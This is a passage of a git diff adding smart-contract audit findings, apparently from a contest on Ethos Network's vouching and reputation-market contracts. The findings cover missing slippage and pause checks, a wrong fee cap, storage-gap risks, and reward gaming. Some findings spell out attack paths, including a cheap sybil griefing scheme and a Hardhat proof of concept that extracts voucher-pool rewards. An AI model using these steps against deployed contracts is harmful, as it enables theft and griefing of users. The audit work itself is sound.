+https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + +### Internal pre-conditions +N/A + +### External pre-conditions +N/A + +### Attack Path +N/A + +### Impact +When this contract is paused, increasing the vouch is only possible. This situation results in a loss for users. + +### PoC +```solidity +EthosVouch.sol +426: function increaseVouch(uint256 vouchId) public payable nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` + +### Mitigation +```solidity +EhosVouch.sol +- function increaseVouch(uint256 vouchId) public payable nonReentrant { ++ function increaseVouch(uint256 vouchId) public payable WhenNotPaused nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` diff --git a/457.md b/457.md new file mode 100644 index 0000000..a3c0cc2 --- /dev/null +++ b/457.md @@ -0,0 +1,82 @@ +Sweet Carmine Dachshund + +Medium + +# `ReputationMarket#sellVotes()` doesn't have slippage protection + +### Summary + +Any one can sell their votes by calling [`ReputationMarket#sellVotes()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534). However there is no slippage protection in `sellVotes()`, resulting the sellers receiving less ether. + +### Root Cause + +`ReputationMarket#sellVotes()` doesn't have slippage protection + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The seller might suffer a loss when selling their votes. + +### PoC + +_No response_ + +### Mitigation + +Introduce slippage protection for `sellVotes()`: +```diff + function sellVotes( + uint256 profileId, + bool isPositive, ++ uint256 minimumReceived, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + ++ require(fundsReceived >= minimumReceived, "Price is too low"); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` \ No newline at end of file diff --git a/458.md b/458.md new file mode 100644 index 0000000..8bde3fb --- /dev/null +++ b/458.md @@ -0,0 +1,67 @@ +Teeny Oily Chipmunk + +Medium + +# malicious user can vouch the minimum to hurt another users credibility. + +### Summary +Business logic issue + +According to the code comments + +> * - Credibility is based on stake value, not popularity (e.g., 1 vouch of 10,000Ξ = 10,000 vouches of 1Ξ) + +A users credibility is based on the total stake value. However due to the fact that the maximum stakes is low and the minimum stake amount is also very low, it is very cheap for an attacker to fill the max vouch slots with the minimum in order to hurt another users credibility on ethos and thus also his earning potential from fees generated by legit vouches. + +### Root Cause + +In EthosVouch.sol ln 371 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L371 + +```solidity + // don't exceed maximum vouches per subject profile + if (vouchIdsForSubjectProfileId[subjectProfileId].length >= maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsForSubjectProfileId[subjectProfileId].length, + "Exceeds subject vouch limit" + ); + } +``` +As we can see if the subject user has 256 vouches, then any user can no longer vouch for him. + +This creates a problem as the amount staked is directly tied to a user's credibility. +This opens up an attack where a malicious user can create multiple ethos profiles and vouch the minimum on each vouch until he reaches the maximum of 256 vouches. Now the targeted user is locked to a low staked amount and thus low credibility. + +This attack is very cheap to pull off, since the minimum vouch amount is 0.0001 ether or 0.38$ at the time of writing. If we multiply this by 256, the total attack cost is 97$. Given that fees on base are low, the gas fee amounts will be negligible. + +```solidity + uint256 private constant ABSOLUTE_MINIMUM_VOUCH_AMOUNT = 0.0001 ether; +``` + +Therefore it costs less than 100$ for a malicious user to forever lock another user at low credibility. + +### Internal pre-conditions + +none + +### External pre-conditions + +none + +### Attack Path + +1. attacker creates 256 ethos accounts, this is possible as each ethos account is given 10 invites, thus a user can make infinite invites from 1 single account. Because once he invites another account, that account will also have 10 invites and so on. +2. the malicious user can use a smart contract to vouch the maximum amount of times within 1 block. Or can be spread across several continuous blocks. +3. the targeted user can no longer receive more vouches and his credibility is locked. + +### Impact + +The targeted user will be locked to low credibility, and will be blocked from legitimate user who wanted to stake a large amount. Thus he will lose any potential large fee amounts. + +### PoC + +_No response_ + +### Mitigation + +The fix is non trivial since simply increasing the vouch amounts will potentially dos the slash mechanism. \ No newline at end of file diff --git a/459.md b/459.md new file mode 100644 index 0000000..ac322ae --- /dev/null +++ b/459.md @@ -0,0 +1,37 @@ +Tall Porcelain Sawfish + +Medium + +# Upgrading either of the contracts might cause a storage collision + +### Summary + +Both [EthosVouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L67) and [ReputationMarket](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L36) are upgradeable contracts, and they inherit from `UUPSUpgradeable`, however, the protocol's custom [AccessControl](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/utils/AccessControl.sol) contract lacks storage gaps, which might lead to storage collisions and therefore upgradeability issues. + +### Root Cause + +Two of the main contracts inherit from the contract [AccessControl](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/utils/AccessControl.sol), which does not have storage gaps. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +The admin decides to upgrade [EthosVouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol) or [ReputationMarket](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol) (or both). After they execute the upgrade, a storage collision occurs and the contracts continue to operate, but their storage layout is incorrect, and therefore they are operating with wrong data. + +### Impact + +Storage collision in [EthosVouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol) and [ReputationMarket](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol) + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/460.md b/460.md new file mode 100644 index 0000000..b174008 --- /dev/null +++ b/460.md @@ -0,0 +1,56 @@ +Thankful Holographic Wren + +High + +# Incorrect Hardcoded Maximum Fee Limit in `EthosVouch.sol` + +### Summary + +The `EthosVouch.sol` contract defines a `MAX_TOTAL_FEES` constant with a value of `10000` (representing 100% in basis points). However, the contest's README specifies that the maximum total fees should not exceed 10%. This discrepancy creates a misalignment between the stated business logic and the implemented contract logic, potentially leading to unintended behavior if the contract relies on this value for validation. + +### Root Cause + +The `MAX_TOTAL_FEES` constant in the contract is hardcoded as `10000` basis points (100%), which contradicts the README's limitation of a 10% maximum total fee. + +### Internal pre-conditions + +* The contract relies on `MAX_TOTAL_FEES` for fee-related calculations and validations. +* The value of `MAX_TOTAL_FEES` is set to 10000 basis points (100%) in the code. + +### External pre-conditions + +* The fee-related operations or calculations are configured using the `MAX_TOTAL_FEES` constant. +* The administrator or owner unintentionally or maliciously sets total fees exceeding 10%, leveraging the higher limit in the contract. + +### Attack Path + +* An administrator sets fee-related parameters (e.g., entryProtocolFeeBasisPoints, entryDonationFeeBasisPoints, and entryVouchersPoolFeeBasisPoints) to a total exceeding 10%. +* The contract allows these configurations since it relies on `MAX_TOTAL_FEES = 10000`. +* Users are charged excessive fees (up to 100%) contrary to the README-specified 10% limit. + +### Impact + + Users may be charged excessive fees beyond the specified 10% limit. + +### PoC + +This is what the contest README states under: +Are there any limitations on values set by admins (or other roles) in the codebase, including restrictions on array lengths? +`For both contracts: +Maximum total fees cannot exceed 10%` + +Issue is at: https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +```Solidity + uint256 public constant MAX_TOTAL_FEES = 10000; + +``` + + +### Mitigation + +Modify the `MAX_TOTAL_FEES` constant to correctly reflect the 10% maximum fee as specified in the README: + +```Solidity +uint256 public constant MAX_TOTAL_FEES = 1000; // 10% in basis points +``` \ No newline at end of file diff --git a/461.md b/461.md new file mode 100644 index 0000000..4184f1b --- /dev/null +++ b/461.md @@ -0,0 +1,133 @@ +Zealous Golden Aardvark + +High + +# Users can game the voucher pool fees denying other vouchers from their rightful fees. + +### Summary + +The [`EthosVouch::vouchByAddress`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L309) and [`EthosVouch::vouchByProfileId`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L330) functions are used in order to vouch others. +The user who is vouching is charged fees via the [`EthosVouch::applyFees`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L929). +There are 3 types of fees applied when vouching:- +1. Protocol Fee +2. Donation Fee +3. Reward Vouchers pool + +Primarily focusing on Vouchers pool fee:- +```solidity + function _rewardPreviousVouchers( + uint256 amount, + uint256 subjectProfileId + ) internal returns (uint256 amountDistributed) { + /// . . . Rest of the code . . . + // Distribute rewards proportionally + uint256 remainingRewards = amount; + for (uint256 i = 0; i < totalVouches && remainingRewards > 0; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + if (!vouch.archived) { + // Calculate this vouch's share of the rewards + uint256 reward = amount.mulDiv(vouch.balance, totalBalance, Math.Rounding.Floor); + if (reward > 0) { + vouch.balance += reward; + remainingRewards -= reward; + } + } + } + /// . . . Rest of the code . . . + } +``` +This ensures that everyone else gets rewarded who vouched earlier. +However, there's a path to game this system by leveraging the [`EthosVouch::increaseVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L426) function:- +Let's consider three users - `UserA`, `UserB` and `UserC` +1. `UserA` vouches for `UserC` by using `0.01` ether. +2. `UserB`, who wants to vouch a total of `0.1` ether would be able to game the system by first vouching the minimum possible amount, let's consider it as `0.01` ether. +3. Now, the `UserB` would use the `increaseVouch` function with `0.09` ether. + +This allows `UserB` to gain back fee from vouchers pool rewards which ideally should have gone to `UserA` completely, denying him the rightful rewards. + +### Root Cause + +The distribution of voucher rewards pool is not being differentiated between [`EthosVouch::increaseVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L426) and [`EthosVouch::vouchByAddress`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L309)/[`EthosVouch::vouchByProfileId`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L330) as the same [`EthosVouch::applyFee`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L929) function is used in both cases. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Let's consider three users - `UserA`, `UserB` and `UserC` +1. `UserA` vouches for `UserC` by using `0.01` ether, calling the `vouchByProfileId` function +2. `UserB`, who wants to vouch a total of `0.1` ether, would first vouch `0.01` ether into `UserC`, calling the `vouchByProfileId` function. +3. Again, the `UserB` would use the `increaseVouch` function with `0.09` ether. + + +### Impact + +1. This allows gaming of the system denying rightful pool voucher fees to the users who vouched initially +2. The highest loss would be observed to the first and only person who vouched for a subject, as the attacker would nearly take 50% of his rewards. +3. Similarly, collective fee loss would be seen incase where there are more vouchers already present. + +### PoC + +The test case was added in the `vouch.address.test.ts` file. +Please upgrade the describe function first:- +```typescript +describe('EthosVouch Vouching by Address', () => { + let deployer: EthosDeployer; + let userA: EthosUser; + let userB: EthosUser; + let userC: EthosUser; + let ethosVouch: EthosVouch; + let unregisteredUser: EthosUser; + interface Vouch { + archived: boolean; + unhealthy: boolean; + authorProfileId: BigNumberish; + authorAddress: string; + vouchId: BigNumberish; + subjectProfileId: BigNumberish; + balance: BigNumberish; + comment: string; + metadata: string; + activityCheckpoints: any; // You might want to define a more specific type for this + } +``` +Test case:- +```typescript + it('should be able to game the system by claiming self rewards on increaseVouch', async () => { + + const PARAMS = { + paymentToken: DEFAULT.PAYMENT_TOKEN, + paymentAmount: ethers.parseEther('0.01'), + comment: DEFAULT.COMMENT, + metadata: DEFAULT.METADATA, + } + await deployer.ethosVouch.contract.connect(deployer.ADMIN).setEntryVouchersPoolFeeBasisPoints(5000); + await userA.vouch(userC, PARAMS); // Default amount was vouched, i.e 0.1 ether + // User B wants to vouch 0.1 ether for user C, but to game the system he will first vouch with the a small amount and later increase the vouch to receive rewards + PARAMS.paymentAmount = ethers.parseEther('0.01'); + await userB.vouch(userC, PARAMS); // Low amount vouched + console.log('Vouch balance before increaseVouch: ', ethers.formatUnits((await deployer.ethosVouch.contract.connect(userB.signer).vouches(1)).balance)); + PARAMS.paymentAmount = ethers.parseEther('0.09'); + const vouch: Vouch = await ethosVouch.verifiedVouchByAuthorForSubjectProfileId( + userB.profileId, + userC.profileId, + ); + await deployer.ethosVouch.contract.connect(userB.signer).increaseVouch(vouch.vouchId, {value: PARAMS.paymentAmount}); // Remaining 0.09 ether vouched via increaseVouch + console.log('Vouch balance after increaseVouch: ', ethers.formatUnits((await deployer.ethosVouch.contract.connect(userB.signer).vouches(1)).balance)); + + // When the UserB directly vouches 0.1 ether + // The balance would have been 0.066666666666666666 ether + // When system is gamed + // Vouch balance before increaseVouch: 0.006666666666666666 ether + // Vouch balance after increaseVouch: 0.076666666666666665 ether + }); + ``` + +### Mitigation + +It is recommended to upgrade the `applyFees` function to disallow distribution of fees to the person who is `increasingVouch` \ No newline at end of file diff --git a/462.md b/462.md new file mode 100644 index 0000000..156c04f --- /dev/null +++ b/462.md @@ -0,0 +1,46 @@ +Oblong Marmalade Aphid + +Medium + +# Changing the configuration through the removeMarketConfig function may affect the configuration when creating the market, which may cause users to create markets with unexpected configurations. + +### Summary + +Changing the configuration through the removeMarketConfig function may affect the configuration when creating the market, which may cause users to create markets with unexpected configurations. +Specifically, when the user creates a market using index x via the createMarketWithConfig function. It so happens that admin removes an index via the removeMarketConfig function in the same block or in a similar block. This will exist in two cases. +1. the user's index x is the last one configured, which will make the user use the wrong index and the creation fails, this has little effect. +2. if the user's index x happens to be the index that was removed, then the user is now using an unintended (originally last configuration) creation. This may have changed the level of volatility in the market. against the user's expectations. + +### Root Cause + +In [ReputationMarket.sol#L389](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L389), configurations cannot be removed while paused. +In [ReputationMarket.sol#L318](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L318), when creating a market, the configuration is selected based on the index. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users may be forced to use unintended configurations due to changes in the configuration index, affecting the level of volatility in the market. + + +### PoC + +_No response_ + +### Mitigation + +It is recommended to pause before removing the configuration to avoid this situation. Therefore, the function that removes the configuration should check that it must be called during a pause. +```diff +- function removeMarketConfig(uint256 configIndex) public onlyAdmin whenNotPaused { ++ function removeMarketConfig(uint256 configIndex) public onlyAdmin whenPaused { +``` \ No newline at end of file diff --git a/463.md b/463.md new file mode 100644 index 0000000..7cb7d98 --- /dev/null +++ b/463.md @@ -0,0 +1,88 @@ +Immense Myrtle Starfish + +Medium + +# The fee calculation algorithm and the value of MAX_TOTAL_FEES in EthosVouch are incorrect. + +### Summary + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L937 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L938 +The fee calculation algorithm is as follow. +fee = total - (total * 10000 / (10000 + feeBasisPoints)); +So if the entryProtocolFeeBasisPoints is 3%,entryDonationFeeBasisPoints is 5%,entryVouchersPoolFeeBasisPoints is 10%, +protocolFee = total*300/(10000+300), +donationFee = total*500/(10000+500), +vouchersPoolFee=total*1000/(10000+1000), + So totalfees = total*(300/10300+500/10500+1000/11000);(0.168*total) +But the totalfees are checked as follow. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996 +totalFees = (exitFeeBasisPoints + entryDonationFeeBasisPoints + entryVouchersPoolFeeBasisPoints)*total +So totalFees = total*(300+500+1000)/10000=total*1800/10000;(0.18*total) +So deltaFee = 0.18-0.168 =0.012(1.2%); +And MAX_TOTAL_FEES defines as 10000(100%).It must be 1000(10%). + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L937 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L938 +The fee calculation algorithm is as follow. +fee = total - (total * 10000 / (10000 + feeBasisPoints)); +So if the entryProtocolFeeBasisPoints is 3%,entryDonationFeeBasisPoints is 5%,entryVouchersPoolFeeBasisPoints is 10%, +protocolFee = total*300/(10000+300), +donationFee = total*500/(10000+500), +vouchersPoolFee=total*1000/(10000+1000), + So totalfees = total*(300/10300+500/10500+1000/11000);(0.168*total) +But the totalfees are checked as follow. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996 +totalFees = (exitFeeBasisPoints + entryDonationFeeBasisPoints + entryVouchersPoolFeeBasisPoints)*total +So totalFees = total*(300+500+1000)/10000=total*1800/10000;(0.18*total) +So deltaFee = 0.18-0.168 =0.012(1.2%); +And MAX_TOTAL_FEES defines as 10000(100%).It must be 1000(10%). + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L937 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L938 +The fee calculation algorithm is as follow. +fee = total - (total * 10000 / (10000 + feeBasisPoints)); +So if the entryProtocolFeeBasisPoints is 3%,entryDonationFeeBasisPoints is 5%,entryVouchersPoolFeeBasisPoints is 10%, +protocolFee = total*300/(10000+300), +donationFee = total*500/(10000+500), +vouchersPoolFee=total*1000/(10000+1000), + So totalfees = total*(300/10300+500/10500+1000/11000);(0.168*total) +But the totalfees are checked as follow. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996 +totalFees = (exitFeeBasisPoints + entryDonationFeeBasisPoints + entryVouchersPoolFeeBasisPoints)*total +So totalFees = total*(300+500+1000)/10000=total*1800/10000;(0.18*total) +So deltaFee = 0.18-0.168 =0.012(1.2%); +And MAX_TOTAL_FEES defines as 10000(100%).It must be 1000(10%). + +### Impact + +Due to the incorrect algorithm and MAX_TOTAL_FEES, the admin made a mistake in fee calculation and validation. + This led to a system error. + + +### PoC + +_No response_ + +### Mitigation + +The algorithm has to be as follow. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L988 +```solidity + return total.mulDiv(feeBasisPoints,BASIS_POINT_SCALE, Math.Rounding.Floor)); +``` \ No newline at end of file diff --git a/464.md b/464.md new file mode 100644 index 0000000..2f2ffa9 --- /dev/null +++ b/464.md @@ -0,0 +1,39 @@ +Modern Ginger Okapi + +High + +# Missing access control check if (authorAddress is msg.sender) in markUnhealthy function leading to compromised address attached to profileId marking that unvouch as unhealthy + +### Summary + +Missing access control check if (authorAddress is msg.sender) in markUnhealthy function leading to compromised address attached to profileId marking that unvouch as unhealthy even if it is not intented by author leading to impact in vouched user's score. It was in the plan and design of Ethos to include that check in `markUnhealthy` function also as its mentioned in comments to be included in accessControl [EthosVouch.sol:56](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L56) but the check is missing in function. + +### Root Cause + +- Missing access control check if (authorAddress is msg.sender) in [markUnhealthy](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L496) function leads to compromised address attached to profileId marking it as unhealthy even though it might not be intended by author of the vouch. + +### Internal pre-conditions + +- It should be marked unvouched by author after that this attack can be carried out by compromised address. + +### External pre-conditions + +_No response_ + +### Attack Path + +- After the vouch is unvouched by authorAddress, if there is any other address which is compromised and attached to that profileId can call markUnhealthy. + +### Impact + +- The author of vouch would have only meant to unvouch to withdraw funds or some other reason but any other address attached to that profileId which is compromised can call markUnhealthy and remove vouch's impact on subject user's score which was not intented behaviour by vouch's author and since Ethos is social platform it impacts on its core functionality which is score. + +### PoC + +_No response_ + +### Mitigation + +- Add check for `if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + }` in [markUnhealthy](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L487) function also in EthosVouch file. \ No newline at end of file diff --git a/465.md b/465.md new file mode 100644 index 0000000..2e8dd86 --- /dev/null +++ b/465.md @@ -0,0 +1,37 @@ +Oblong Marmalade Aphid + +High + +# The sellVotes function does not set slippage and the user may suffer slippage losses. + +### Summary + +The sellVotes function does not set slippage and the user may suffer slippage losses. If there is a change in the price of the vote at sell time, it is obvious that the user will suffer a slippage loss. Slippage is checked at buyvotes but not at sell. + +### Root Cause + +In [ReputationMarket.sol#L495-L499](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L499), no parameters are passed in and a slippage check is performed. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +1. The price of the voucher drops when the user sellsVotes and the user is subject to slippage losses. + +### Attack Path + +_No response_ + +### Impact + +The user is subject to slippage losses. + +### PoC + +_No response_ + +### Mitigation + +Add logic related to slippage checking to the sellVotes function as well. \ No newline at end of file diff --git a/466.md b/466.md new file mode 100644 index 0000000..1810020 --- /dev/null +++ b/466.md @@ -0,0 +1,50 @@ +Recumbent Shamrock Barracuda + +Medium + +# Improper fee cap allows total fees to exceed 10% + +### Summary + +The `EthosVouch` contract misconfigures the `MAX_TOTAL_FEES` constant, setting it to `10000` (100%) instead of the intended `1000` (10%). This allows the total fees charged by the protocol to exceed the 10% cap, breaking the protocol's fee structure and potentially overcharging users. + +### Root Cause + +The root cause of the issue is the incorrect configuration of the `MAX_TOTAL_FEES` constant in the `EthosVouch` contract. It is set to `10000`, which represents 100% in basis points, instead of the intended `1000`, which correctly represents 10%. And also it is constant value. This misconfiguration causes the `checkFeeExceedsMaximum` function to validate against a 100% cap rather than the intended 10%, allowing cumulative fees to exceed the protocol's design limits. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L1003 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/README.md#q-are-there-any-limitations-on-values-set-by-admins-or-other-roles-in-the-codebase-including-restrictions-on-array-lengths + +`Maximum total fees cannot exceed 10%` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The misconfigured fee cap allows total fees to exceed the intended 10%, leading to overcharging users, violating protocol integrity, and reducing user trust and economic attractiveness. + +### PoC + +_No response_ + +### Mitigation + +Update the `MAX_TOTAL_FEES` constant to `1000` to correctly enforce the 10% cap in basis points. + +```diff +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/467.md b/467.md new file mode 100644 index 0000000..47b57cd --- /dev/null +++ b/467.md @@ -0,0 +1,104 @@ +Sweet Carmine Dachshund + +Medium + +# The invariant that maximum total fees cannot exceed 10% in `EthosVouch` might be broken + +### Links to affected code +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L470 +### Summary + +According to [README.MD](https://github.com/sherlock-audit/2024-11-ethos-network-ii?tab=readme-ov-file#q-are-there-any-limitations-on-values-set-by-admins-or-other-roles-in-the-codebase-including-restrictions-on-array-lengths), the sponsor stated that: +> Maximum total fees cannot exceed 10% + +Th total fees in `EthosVouch` is composed of several fees: +```math +\begin{align*} +fees_{total} &= fees_{entry} + fees_{exit} \\ +fees_{entry} &= fee_{protocol} + fee_{donation} + fee_{vouchersPool} \\ +\end{align*} +``` +Every time when a fee is changed, it will ensure that $fees_{total}$ can not exceed `10%`: +```solidity + function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; + if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` + +If an author want to vouch `100 ETH`, the total fees they will pay should no more than `10 ETH`, which includes entry fees and exit fees. + +However, this design could be broken since the entry fees and exit fees are paid separately. + + +### Root Cause + +The entry fees and exit fees are paid separately. All fees could be changed after an author pay their entry fees. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Alice want to vouch `100 ETH` by sending `107 ETH`: +```math +\begin{align*} +bips_{protocol} &= 1\% \\ +bips_{donation} &= 2\% \\ +bips_{vouchersPool} &= 4\% \\ +bips_{exit} &= 3\% \\ +amount_{vouch} &= 100 ETH \\ +\\ +fees_{entry} &= fee_{protocol} + fee_{donation} + fee_{vouchersPool} \\ +&= amount_{vouch} *bips_{protocol} + amount_{vouch} *bips_{donation} + amount_{vouch} * bips_{vouchersPool} \\ +&= 100 ETH * 1\% + 100 ETH * 2\% + 100 ETH * 4\% \\ +&= 7 ETH +\\ +fees_{exit} &= amount_{vouch} * bips_{exit} \\ +&= 100 ETH * 3\% \\ +&= 3 ETH \\ +\end{align*} +``` +As we can see, after paying `7 ETH`, Alice should pay no more than `3 ETH` when she exit by calling `unvouch()`. + +However, all above fees could be changed before the author exits their vouch, e.g. all values are updated as below: +```math +\begin{align*} +bips_{protocol} &= 1\% \\ +bips_{donation} &= 2\% \\ +bips_{vouchersPool} &= 1\% \\ +bips_{exit} &= 6\% \\ +\end{align*} +``` +If Alice exit her vouch now, she need pay `6 ETH` as exit fees: +```math +\begin{align*} +fees_{exit} &= amount_{vouch} * bips_{exit} \\ +&= 100 ETH * 6\% \\ +&= 6 ETH \\ +\end{align*} +``` + +The total fees Alice paid will exceed `10%` of her vouch value, resulting the invariant being broken + +### Impact + +An author might pay fees more than `10%` because the 